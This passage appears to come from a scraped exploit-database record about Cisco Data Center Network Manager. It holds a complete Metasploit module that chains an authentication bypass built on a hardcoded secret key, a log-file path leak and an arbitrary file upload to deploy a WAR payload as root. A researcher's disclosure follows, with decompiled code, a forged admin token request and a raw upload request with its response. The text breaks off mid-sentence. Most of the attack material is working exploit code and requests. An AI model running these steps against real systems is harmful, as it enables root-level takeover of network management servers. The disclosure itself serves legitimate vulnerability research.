Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::EXE\n include Msf::Exploit::FileDropper\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution',\n 'Description' => %q{\n DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.\n An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps\n directory and achieve remote code execution as root.\n This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on\n versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct\n directory for the WAR file upload.\n This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should\n work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit\n (see References to understand why).\n },\n 'Author' =>\n [\n 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n [ 'CVE', '2019-1619' ], # auth bypass\n [ 'CVE', '2019-1620' ], # file upload\n [ 'CVE', '2019-1622' ], # log download\n [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],\n [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],\n [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],\n [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ],\n [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]\n ],\n 'Platform' => 'java',\n 'Arch' => ARCH_JAVA,\n 'Targets' =>\n [\n [ 'Automatic', {} ],\n [\n 'Cisco DCNM 11.1(1)', {}\n ],\n [\n 'Cisco DCNM 11.0(1)', {}\n ],\n [\n 'Cisco DCNM 10.4(2)', {}\n ]\n ],\n 'Privileged' => true,\n 'DefaultOptions' => { 'WfsDelay' => 10 },\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2019-06-26'\n ))\n\n register_options(\n [\n Opt::RPORT(443),\n OptBool.new('SSL', [true, 'Connect with TLS', true]),\n OptString.new('TARGETURI', [true, \"Default server path\", '/']),\n OptString.new('USERNAME', [true, \"Username for auth (required only for 11.0(1) and above\", 'admin']),\n OptString.new('PASSWORD', [true, \"Password for auth (required only for 11.0(1) and above\", 'admin']),\n ])\n end\n\n def check\n # at the moment this is the best way to detect\n # check if pmreport and fileUpload servlets return a 500 error with no params\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),\n 'vars_get' =>\n {\n 'token' => rand_text_alpha(5..20)\n },\n 'method' => 'GET'\n )\n if res && res.code == 500\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),\n 'method' => 'GET',\n )\n if res && res.code == 500\n return CheckCode::Detected\n end\n end\n\n CheckCode::Unknown\n end\n\n def target_select\n if target != targets[0]\n return target\n else\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'),\n 'method' => 'GET'\n )\n if res && res.code == 200\n if res.body.include?('version\":\"11.1(1)')\n print_good(\"#{peer} - Detected DCNM 11.1(1)\")\n print_status(\"#{peer} - No authentication required, ready to exploit!\")\n return targets[1]\n elsif res.body.include?('version\":\"11.0(1)')\n print_good(\"#{peer} - Detected DCNM 11.0(1)\")\n print_status(\"#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit\")\n return targets[2]\n elsif res.body.include?('version\":\"10.4(2)')\n print_good(\"#{peer} - Detected DCNM 10.4(2)\")\n print_status(\"#{peer} - No authentication required, ready to exploit!\")\n return targets[3]\n else\n print_error(\"#{peer} - Failed to detect target version.\")\n print_error(\"Please contact module author or add the target yourself and submit a PR to the Metasploit project!\")\n print_error(res.body)\n print_status(\"#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass\")\n return targets[3]\n end\n end\n fail_with(Failure::NoTarget, \"#{peer} - Failed to determine target\")\n end\n end\n\n def auth_v11\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm/'),\n 'method' => 'GET',\n 'vars_get' =>\n {\n 'userName' => datastore['USERNAME'],\n 'password' => datastore['PASSWORD']\n },\n )\n\n if res && res.code == 200\n # get the JSESSIONID cookie\n if res.get_cookies\n res.get_cookies.split(';').each do |cok|\n if cok.include?(\"JSESSIONID\")\n return cok\n end\n end\n end\n end\n end\n\n def auth_v10\n # step 1: get a JSESSIONID cookie and the server Date header\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm/'),\n 'method' => 'GET'\n )\n\n # step 2: convert the Date header and create the auth hash\n if res && res.headers['Date']\n jsession = res.get_cookies.split(';')[0]\n date = Time.httpdate(res.headers['Date'])\n server_date = date.strftime(\"%s\").to_i * 1000\n print_good(\"#{peer} - Got sysTime value #{server_date.to_s}\")\n\n # auth hash format:\n # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\n session_id = rand(1000..50000).to_s\n md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +\n \"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\"\n md5_str = Base64.strict_encode64(md5)\n\n # step 3: authenticate our cookie as admin\n # token format: sessionId.sysTime.md5_str.username\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),\n 'cookie' => jsession,\n 'vars_get' =>\n {\n 'token' => \"#{session_id}.#{server_date.to_s}.#{md5_str}.admin\"\n },\n 'method' => 'GET'\n )\n\n if res && res.code == 500\n return jsession\n end\n end\n end\n\n # use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log\n def get_war_path\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'),\n 'method' => 'GET'\n )\n\n if res && res.code == 200\n tmp = Tempfile.new\n # we have to drop this into a file first\n # else we will get a Zip::GPFBit3Error if we use an InputStream\n File.binwrite(tmp, res.body)\n Zip::File.open(tmp) do |zis|\n zis.each do |entry|\n if entry.name =~ /jboss[0-9]*\\.log/\n fdata = zis.read(entry)\n if fdata[/Started FileSystemDeploymentService for directory ([\\w\\/\\\\\\-\\.: ]+)/]\n tmp.close\n tmp.unlink\n return $1.strip\n end\n end\n end\n end\n end\n end\n\n\n def exploit\n target = target_select\n\n if target == targets[2]\n jsession = auth_v11\n elsif target == targets[3]\n jsession = auth_v10\n end\n\n # targets[1] DCNM 11.1(1) doesn't need auth!\n if jsession.nil? && target != targets[1]\n fail_with(Failure::NoAccess, \"#{peer} - Failed to authenticate JSESSIONID cookie\")\n elsif target != targets[1]\n print_good(\"#{peer} - Successfully authenticated our JSESSIONID cookie\")\n end\n\n war_path = get_war_path\n if war_path.nil? or war_path.empty?\n fail_with(Failure::Unknown, \"#{peer} - Failed to get WAR path from logs\")\n else\n print_good(\"#{peer} - Obtain WAR path from logs: #{war_path}\")\n end\n\n # Generate our payload... and upload it\n app_base = rand_text_alphanumeric(6..16)\n war_payload = payload.encoded_war({ :app_name => app_base }).to_s\n\n fname = app_base + '.war'\n post_data = Rex::MIME::Message.new\n post_data.add_part(fname, nil, nil, content_disposition = \"form-data; name=\\\"fname\\\"\")\n post_data.add_part(war_path, nil, nil, content_disposition = \"form-data; name=\\\"uploadDir\\\"\")\n post_data.add_part(war_payload,\n \"application/octet-stream\", 'binary',\n \"form-data; name=\\\"#{rand_text_alpha(5..20)}\\\"; filename=\\\"#{rand_text_alpha(6..10)}\\\"\")\n data = post_data.to_s\n\n print_status(\"#{peer} - Uploading payload...\")\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),\n 'method' => 'POST',\n 'data' => data,\n 'cookie' => jsession,\n 'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\"\n )\n\n if res && res.code == 200 && res.body[/#{fname}/]\n print_good(\"#{peer} - WAR uploaded, waiting a few seconds for deployment...\")\n\n sleep 10\n\n print_status(\"#{peer} - Executing payload...\")\n send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, app_base),\n 'method' => 'GET'\n )\n else\n fail_with(Failure::Unknown, \"#{peer} - Failed to upload WAR file\")\n end\n end\nend\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/cisco_dcnm_upload_2019.rb"}], "zdt": [{"lastseen": "2019-07-09T03:11:13", "description": "Cisco Data Center Network Manager (DCNM) versions 11.1(1) and below suffer from authentication bypass, arbitrary file upload, arbitrary file download, and information disclosure vulnerabilities.", "edition": 1, "published": "2019-07-08T00:00:00", "title": "Cisco Data Center Network Manager 11.1(1) Remote Code Execution Exploit #RCE", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-1619", "CVE-2019-1620", "CVE-2019-1622", "CVE-2019-1621"], "modified": "2019-07-08T00:00:00", "id": "1337DAY-ID-32960", "href": "https://0day.today/exploit/description/32960", "sourceData": ">> Authentication Bypass and Arbitrary File Upload (leading to remote code execution) on Cisco Data Center Network Manager\r\n>> Discovered by Pedro Ribeiro ([email\u00a0protected]), Agile Information Security (http://www.agileinfosec.co.uk/)\r\n==========================================================================\r\nDisclosure: 26/6/2019 / Last updated: 6/7/2019\r\n\r\n\r\n>> Executive summary:\r\nCisco Data Center Network Manager (DCNM) is provided by Cisco as a virtual appliance as well as installation packages for Windows and Red Hat Linux. \r\nDCNM is widely deloyed in data centres worldwide to manage Cisco devices on a global scale.\r\n\r\nDCNM 11.1(1) and below is affected by four vulnerabilities: authentication bypass, arbitrary file upload (leading to remote code execution), arbitrary file download and information disclosure via log download.\r\n\r\nThe table below lists the affected versions for each vulnerability:\r\n\r\nVulnerability Vulnerable? CVE\r\n <= 10.4(2) 11.0(1) 11.1(1) >= 11.2(1) \r\nAuthentication bypass Yes No No No 2019-1619\r\nFile upload Yes, auth Yes, auth Yes, unauth No 2019-1620\r\nFile download Yes, auth Yes, auth Yes, unauth No 2019-1621\r\nInfo disclosure Yes, unauth Yes, unauth Yes, unauth ? 2019-1622\r\n\r\nThe authentication bypass affects versions 10.4(2), allowing an attacker to exploit the file upload for remote code execution.\r\nIn version 11.0(1), authentication was introduced, and a valid unprivileged account is necessary to exploit all vulnerabilities except information discloure.\r\nAmazingly, in version 11.1(1) Cisco removed the authentication for the file upload and file download servlets, allowing an attacker exploit the vulnerabilities without any authentication!\r\nAll vulnerabilities were fixed in 11.2(1), except the information disclosure, for which the status is unknown.\r\n\r\nTo achieve remote code execution with arbitrary file upload vulnerability, an attacker can write a WAR file in the Tomcat webapps folder. The Apache Tomcat server is running as root, meaning that the Java shell will run as root.\r\n\r\nAgile Information Security would like to thank the iDefense Vulnerability Contributor Program for handling the disclosure process with Cisco [1].\r\n\r\n\r\n>> Vendor description [2]:\r\n\"Cisco\u00ae Data Center Network Manager (DCNM) is the comprehensive management solution for all NX-OS network deployments spanning LAN fabrics, SAN fabrics, and IP Fabric for Media (IPFM) networking in the data center powered by Cisco. DCNM 11 provides management, control, automation, monitoring, visualization, and troubleshooting across Cisco Nexus\u00ae and Cisco Multilayer Distributed Switching (MDS) solutions.\r\nDCNM 11 supports multitenant, multifabric infrastructure management for Cisco Nexus Switches. DCNM also supports storage management with the Cisco MDS 9000 family and Cisco Nexus switch storage functions.\r\n\r\nDCNM 11 provides interfaces for reoccurring management tasks such as fabric bootstrap, compliance SAN zoning, device-alias management, slow-drain analysis, SAN host-path redundancy, and port-monitoring configuration.\"\r\n\r\n\r\n>> Technical details:\r\n#1\r\nVulnerability: Authentication Bypass\r\nCVE-2019-1619\r\nAttack Vector: Remote\r\nConstraints: None\r\nAffected products / versions:\r\n- Cisco Data Center Network Manager 10.4(2) and below\r\n\r\nDCNM exposes a \"ReportServlet\" on the URL /fm/pmreport. By abusing this servlet, an unauthenticated attacker can obtain a valid administrative session on the web interface [3].\r\n\r\nThe snippet of code below shows what the servlet does:\r\ncom.cisco.dcbu.web.client.performance.ReportServlet\r\n\r\n public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\r\n Credentials cred = (Credentials)request.getSession().getAttribute(\"credentials\");\r\n if((cred == null || !cred.isAuthenticated()) && !\"fetch\".equals(request.getParameter(\"command\")) && !this.verifyToken(request)) {\r\n request.setAttribute(\"popUpSessionTO\", \"true\");\r\n }\r\n\r\n this.doInteractiveChart(request, response);\r\n }\r\n \r\nThe request is passed on to the verifyToken function, listed below:\r\n private boolean verifyToken(HttpServletRequest httpServletRequest) {\r\n String token = httpServletRequest.getParameter(\"token\");\r\n if(token == null) {\r\n return false;\r\n } else {\r\n try {\r\n FMServerRif serverRif = SQLLoader.getServerManager();\r\n IscRif isc = serverRif.getIsc(StringEncrypter.encryptString(\"DESede\", (new Date()).toString()));\r\n token = URLDecoder.decode(token, \"UTF-8\");\r\n token = token.replace(' ', '+');\r\n FMUserBase fmUserBase = isc.verifySSoToken(token);\r\n if(fmUserBase == null) {\r\n return false;\r\n } else {\r\n Credentials newCred = new Credentials();\r\n int idx = fmUserBase.getUsername().indexOf(64);\r\n newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));\r\n newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword()));\r\n newCred.setRole(fmUserBase.getRole());\r\n newCred.setAuthenticated(true);\r\n httpServletRequest.getSession().setAttribute(\"credentials\", newCred);\r\n return true;\r\n }\r\n } catch (Exception var8) {\r\n var8.printStackTrace();\r\n return false;\r\n }\r\n }\r\n }\r\n \r\nAs it can be seen in the line:\r\n FMUserBase fmUserBase = isc.verifySSoToken(token);\r\nthe HTTP request parameter \"token\" gets passed to IscRif.verifySsoToken, and if that function returns a valid user, the request is authenticated and credentials are stored in the session.\r\n\r\nLet's dig deeper and find out what happens in IscRif.verifySsoToken. The class implementing is actually com.cisco.dcbu.sm.server.facade.IscImpl:\r\n\r\n public FMUserBase verifySSoToken(String ssoToken) {\r\n return SecurityManager.verifySSoToken(ssoToken);\r\n }\r\n \r\nDigging further into SecurityManager.verifySSoToken:\r\ncom.cisco.dcbu.sm.server.security.SecurityManager\r\n\r\npublic static FMUserBase verifySSoToken(String ssoToken) {\r\n String userName = null;\r\n FMUserBase fmUserBase = null;\r\n FMUser fmUser = null;\r\n\r\n try {\r\n userName = getSSoTokenUserName(ssoToken);\r\n if(confirmSSOToken(ssoToken)) {\r\n fmUser = UserManager.getInstance().findUser(userName);\r\n if(fmUser != null) {\r\n fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());\r\n }\r\n\r\n if(fmUserBase == null) {\r\n fmUserBase = DCNMUserImpl.getFMUserBase(userName);\r\n }\r\n\r\n if(fmUserBase == null) {\r\n fmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken));\r\n }\r\n }\r\n } catch (Exception var5) {\r\n _Logger.info(\"verifySSoToken: \", var5);\r\n }\r\n\r\n return fmUserBase;\r\n }\r\n\r\nAs it can be seen in the code above, the username is obtained from the token here:\r\n userName = getSSoTokenUserName(ssoToken);\r\n\r\nDigging yet another layer we find the following:\r\npublic static String getSSoTokenUserName(String ssoToken) {\r\n return getSSoTokenDetails(ssoToken)[3];\r\n }\r\n\r\n private static String[] getSSoTokenDetails(String ssoToken) {\r\n String[] ret = new String[4];\r\n String separator = getTokenSeparator();\r\n StringTokenizer st = new StringTokenizer(ssoToken, separator);\r\n if(st.hasMoreTokens()) {\r\n ret[0] = st.nextToken();\r\n ret[1] = st.nextToken();\r\n ret[2] = st.nextToken();\r\n\r\n for(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) {\r\n ;\r\n }\r\n }\r\n\r\n return ret;\r\n }\r\n \r\nSeems like the token is a string which is separated by the \"separator\" with four components, the fourth of which is the username.\r\n\r\nNow going back to SecurityManager.verifySSoToken listed above, we see that after the call to getSSoTokenUserName, confirmSSOToken is called:\r\n public static FMUserBase verifySSoToken(String ssoToken) {\r\n (...)\r\n userName = getSSoTokenUserName(ssoToken);\r\n if(confirmSSOToken(ssoToken)) {\r\n fmUser = UserManager.getInstance().findUser(userName);\r\n if(fmUser != null) {\r\n fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles());\r\n }\r\n (...)\r\n }\r\n \r\n public static boolean confirmSSOToken(String ssoToken) {\r\n String userName = null;\r\n int sessionId = false;\r\n long sysTime = 0L;\r\n String digest = null;\r\n int count = false;\r\n boolean ret = false;\r\n\r\n try {\r\n String[] detail = getSSoTokenDetails(ssoToken);\r\n userName = detail[3];\r\n int sessionId = Integer.parseInt(detail[0]);\r\n sysTime = (new Long(detail[1])).longValue();\r\n if(System.currentTimeMillis() - sysTime > 600000L) {\r\n return ret;\r\n }\r\n\r\n digest = detail[2];\r\n if(digest != null && digest.equals(getMessageDigest(\"MD5\", userName, sessionId, sysTime))) {\r\n ret = true;\r\n userNameTLC.set(userName);\r\n }\r\n } catch (Exception var9) {\r\n _Logger.info(\"confirmSSoToken: \", var9);\r\n }\r\n\r\n return ret;\r\n }\r\n \r\nNow we can further understand the token. It seems it is composed of:\r\nsessionId + separator + sysTime + separator + digest + separator + username\r\n \r\nAnd what is the digest? Let's look into the getMessageDigest function:\r\n \r\n \r\n private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception {\r\n String input = userName + sessionid + sysTime + SECRETKEY;\r\n MessageDigest md = MessageDigest.getInstance(algorithm);\r\n md.update(input.getBytes());\r\n return new String(Base64.encodeBase64((byte[])md.digest()));\r\n }\r\n \r\nIt is nothing more than the MD5 of:\r\nuserName + sessionid + sysTime + SECRETKEY\r\n\r\n... and SECRETKEY is a fixed key in the code:\r\n private static final String SECRETKEY = \"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF\";\r\n \r\n... while the separator is a \".\":\r\n private static String getTokenSeparator()\r\n {\r\n return System.getProperty(\"security.tokenSeparator\", \".\");\r\n }\r\n \r\nIn summary, this is what happens:\r\nThe ReportServlet will happily authenticate any request, as long as it receives a token in the following format:\r\nsessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username\r\n\r\nThe sessionId can be made up by the user, sysTime can be obtained by getting the server Date HTTP header and then converting to milliseconds, and we know the SECRETKEY and the username, so now we can authenticate as any user. Here's an example token:\r\nGET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin\r\n\r\nThis request will return a 500 error due to the lack of some parameters necessary for the servlet to execute correctly, however it will also successfully authenticate us to the server, which will cause it to return a JSESSIONID cookie with valid authenticated session for the admin user.\r\nNote that the user has to be valid. The \"admin\" user is a safe bet as it is present by default in all systems, and it is also the most privileged user in the system.\r\n\r\nUnfortunately, this technique does not work for 11.0(1). I believe this is not because the vulnerability was fixed, as the exact same code is present in the newer version.\r\nIn 11.0(1), the ReportServlet.verifyToken function crashes with an exception in the line noted below:\r\n\r\n private boolean verifyToken(HttpServletRequest httpServletRequest) {\r\n (...)\r\n Credentials newCred = new Credentials();\r\n int idx = fmUserBase.getUsername().indexOf(64);\r\n newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx));\r\n newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); <--- exception occurs here\r\n newCred.setRole(fmUserBase.getRole());\r\n newCred.setAuthenticated(true);\r\n httpServletRequest.getSession().setAttribute(\"credentials\", newCred);\r\n return true;\r\n }\r\n } catch (Exception var8) {\r\n var8.printStackTrace();\r\n return false;\r\n }\r\n (...)\r\n }\r\n \r\nThe exception returned is a \"com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException: javax.crypto.BadPaddingException: Given final block not properly padded\".\r\nThis will cause execution to go into the catch block shown above, and the function will return false, so the JSESSIONID cookie returned by the server will not have the credentials stored in it.\r\n\r\nI believe this is purely a coding mistake - Cisco updated their password encryption method, but failed to update their own code. Unless this ReportServlet code is deprecated, this is a real bug that happens to fix a security vulnerability by accident.\r\n\r\nOn version 11.0(1), it seems that the ReportServlet has been removed from the corresponding WAR xml mapping file, so requesting that URL now returns an HTTP 404 error.\r\n\r\n\r\n#2\r\nVulnerability: Arbitrary File Upload (leading to remote code execution)\r\nCVE-2019-1620\r\nAttack Vector: Remote\r\nConstraints: Authentication to the web interface as an unprivileged user required EXCEPT for version 11.1(1), where it can be exploited by an unauthenticated user\r\nAffected products / versions:\r\n- Cisco Data Center Network Manager 11.1(1) and below\r\n\r\nDCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload. An authenticated user can abuse this servlet to upload files to an arbitrary directory and ultimately achieve remote code execution [4].\r\n\r\nThe code for this servlet is listed below:\r\ncom.cisco.dcbu.web.client.reports.FileUploadServlet\r\n\r\n public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\r\n this.doGet(request, response);\r\n }\r\n\r\n public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\r\n Credentials cred = (Credentials)((Object)request.getSession().getAttribute(\"credentials\"));\r\n if (cred == null || !cred.isAuthenticated()) {\r\n throw new ServletException(\"User not logged in or Session timed out.\");\r\n }\r\n this.handleUpload(request, response);\r\n }\r\n \r\nThe code shown above is simple, and the request is passed onto handleUpload:\r\n\r\n private void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\r\n response.setContentType(CONTENT_TYPE);\r\n PrintWriter out = null;\r\n ArrayList<String> allowedFormats = new ArrayList<String>();\r\n allowedFormats.add(\"jpeg\");\r\n allowedFormats.add(\"png\");\r\n allowedFormats.add(\"gif\");\r\n allowedFormats.add(\"jpg\");\r\n allowedFormats.add(\"cert\");\r\n File disk = null;\r\n FileItem item = null;\r\n DiskFileItemFactory factory = new DiskFileItemFactory();\r\n String statusMessage = \"\";\r\n String fname = \"\";\r\n String uploadDir = \"\";\r\n ListIterator iterator = null;\r\n List items = null;\r\n ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory);\r\n TransformerHandler hd = null;\r\n try {\r\n out = response.getWriter();\r\n StreamResult streamResult = new StreamResult(out);\r\n SAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance();\r\n items = upload.parseRequest(request);\r\n iterator = items.listIterator();\r\n hd = tf.newTransformerHandler();\r\n Transformer serializer = hd.getTransformer();\r\n serializer.setOutputProperty(\"encoding\", \"UTF-8\");\r\n serializer.setOutputProperty(\"doctype-system\", \"response.dtd\");\r\n serializer.setOutputProperty(\"indent\", \"yes\");\r\n serializer.setOutputProperty(\"method\", \"xml\");\r\n hd.setResult(streamResult);\r\n hd.startDocument();\r\n AttributesImpl atts = new AttributesImpl();\r\n hd.startElement(\"\", \"\", \"response\", atts);\r\n while (iterator.hasNext()) {\r\n atts.clear();\r\n item = (FileItem)iterator.next();\r\n if (item.isFormField()) {\r\n if (item.getFieldName().equalsIgnoreCase(\"fname\")) {\r\n fname = item.getString();\r\n }\r\n if (item.getFieldName().equalsIgnoreCase(\"uploadDir\") && (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) {\r\n uploadDir = ClientCache.getJBossHome() + File.separator + \"server\" + File.separator + \"fm\" + File.separator + \"conf\";\r\n }\r\n atts.addAttribute(\"\", \"\", \"id\", \"CDATA\", item.getFieldName());\r\n hd.startElement(\"\", \"\", \"field\", atts);\r\n hd.characters(item.getString().toCharArray(), 0, item.getString().length());\r\n hd.endElement(\"\", \"\", \"field\");\r\n atts.clear();\r\n continue;\r\n }\r\n ImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream());\r\n Iterator<ImageReader> imageReaders = ImageIO.getImageReaders(imageInputStream);\r\n ImageReader imageReader = null;\r\n if (imageReaders.hasNext()) {\r\n imageReader = imageReaders.next();\r\n }\r\n try {\r\n String imageFormat = imageReader.getFormatName();\r\n String newFileName = fname + \".\" + imageFormat;\r\n if (allowedFormats.contains(imageFormat.toLowerCase())) {\r\n FileFilter fileFilter = new FileFilter();\r\n fileFilter.setImageTypes(allowedFormats);\r\n File[] fileList = new File(uploadDir).listFiles(fileFilter);\r\n for (int i = 0; i < fileList.length; ++i) {\r\n new File(fileList[i].getAbsolutePath()).delete();\r\n }\r\n disk = new File(uploadDir + File.separator + fname);\r\n item.write(disk);\r\n Calendar calendar = Calendar.getInstance();\r\n SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"MM.dd.yy hh:mm:ss aaa\");\r\n statusMessage = \"File successfully written to server at \" + simpleDateFormat.format(calendar.getTime());\r\n }\r\n imageReader.dispose();\r\n imageInputStream.close();\r\n atts.addAttribute(\"\", \"\", \"id\", \"CDATA\", newFileName);\r\n }\r\n catch (Exception ex) {\r\n this.processUploadedFile(item, uploadDir, fname);\r\n Calendar calendar = Calendar.getInstance();\r\n SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"MM.dd.yy hh:mm:ss aaa\");\r\n statusMessage = \"File successfully written to server at \" + simpleDateFormat.format(calendar.getTime());\r\n atts.addAttribute(\"\", \"\", \"id\", \"CDATA\", fname);\r\n }\r\n hd.startElement(\"\", \"\", \"file\", atts);\r\n hd.characters(statusMessage.toCharArray(), 0, statusMessage.length());\r\n hd.endElement(\"\", \"\", \"file\");\r\n }\r\n hd.endElement(\"\", \"\", \"response\");\r\n hd.endDocument();\r\n out.close();\r\n }\r\n catch (Exception e) {\r\n out.println(e.getMessage());\r\n }\r\n }\r\n \r\nhandleUpload is more complex, but here's a summary; the function takes an HTTP form with a parameter \"uploadDir\", a parameter \"fname\" and then takes the last form object and writes it into \"uploadDir/fname\". \r\nHowever, there is a catch... the file has to be a valid image with one of the extensions listed here:\r\n allowedFormats.add(\"jpeg\");\r\n allowedFormats.add(\"png\");\r\n allowedFormats.add(\"gif\");\r\n allowedFormats.add(\"jpg\");\r\n allowedFormats.add(\"cert\");\r\n \r\nHowever, if you look closely, it is possible to upload any arbitrary content. This is because nothing bad happens until we reach the second (inner) try-catch block. Once inside, the first thing that happens is this:\r\n try {\r\n String imageFormat = imageReader.getFormatName();\r\n\r\n... which will cause imageReader to throw and exception if the binary content we sent is not a file, sending us into the catch block:\r\n catch (Exception ex) {\r\n this.processUploadedFile(item, uploadDir, fname);\r\n Calendar calendar = Calendar.getInstance();\r\n SimpleDateFormat simpleDateFormat = new SimpleDateFormat(\"MM.dd.yy hh:mm:ss aaa\");\r\n statusMessage = \"File successfully written to server at \" + simpleDateFormat.format(calendar.getTime());\r\n atts.addAttribute(\"\", \"\", \"id\", \"CDATA\", fname);\r\n \r\n... meaning that the file contents, upload dir and its name are sent into processUploadedFile. \r\n\r\nLet's look into that now:\r\n private void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception {\r\n try {\r\n int offset;\r\n int contentLength = (int)item.getSize();\r\n InputStream raw = item.getInputStream();\r\n BufferedInputStream in = new BufferedInputStream(raw);\r\n byte[] data = new byte[contentLength];\r\n int bytesRead = 0;\r\n for (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) {\r\n }\r\n in.close();\r\n if (offset != contentLength) {\r\n throw new IOException(\"Only read \" + offset + \" bytes; Expected \" + contentLength + \" bytes\");\r\n }\r\n FileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname);\r\n out.write(data);\r\n out.flush();\r\n out.close();\r\n }\r\n catch (Exception ex) {\r\n throw new Exception(\"FileUploadSevlet processUploadFile failed: \" + ex.getMessage());\r\n }\r\n }\r\n \r\nAmazingly, this function totally ignores the content, and simple writes the file contents to the filename and folder we have indicated.\r\nIn summary, if we send any binary content that is not a file, we can write it to any new file in any directory as root.\r\n \r\nIf we send the following request:\r\nPOST /fm/fileUpload HTTP/1.1\r\nHost: 10.75.1.40\r\nCookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C;\r\nContent-Length: 429\r\nContent-Type: multipart/form-data; boundary=---------------------------9313517619947\r\n\r\n-----------------------------9313517619947\r\nContent-Disposition: form-data; name=\"fname\"\r\n\r\nowned\r\n-----------------------------9313517619947\r\nContent-Disposition: form-data; name=\"uploadDir\"\r\n\r\n/tmp/\r\n-----------------------------9313517619947\r\nContent-Disposition: form-data; name=\"filePath\"; filename=\"whatever\"\r\nContent-Type: application/octet-stream\r\n\r\n<any text or binary content here>\r\n\r\n-----------------------------9313517619947--\r\n\r\nThe server will respond with:\r\nHTTP/1.1 200 OK\r\nX-FRAME-OPTIONS: SAMEORIGIN\r\nContent-Type: text/xml;charset=utf-8\r\nDate: Mon, 03 Sep 2018 00:57:11 GMT\r\nConnection: close\r\nServer: server\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<!DOCTYPE response SYSTEM \"response.dtd\">\r\n<response>\r\n<field id=\"fname\">owned</field>\r\n<field id=\"uploadDir\">/tmp/</field>\r\n<file id=\"whatever\">File successfully written to server at 09.02.18 05:57:11 PM</file>\r\n</response>\r\n\r\nAnd our file has been written as root on the server:\r\n[[email\u00a0protected]_vm ~]# ls -l /tmp/\r\n(...)\r\n-rw-r--r-- 1 root root 16 Sep 2 17:57 owned\r\n(...)\r\n\r\nFinally if we write a WAR file to the JBoss deployment directory, and the server will deploy the WAR file as root, allowing the attacker to achieve remote code execution. \r\n\r\nA 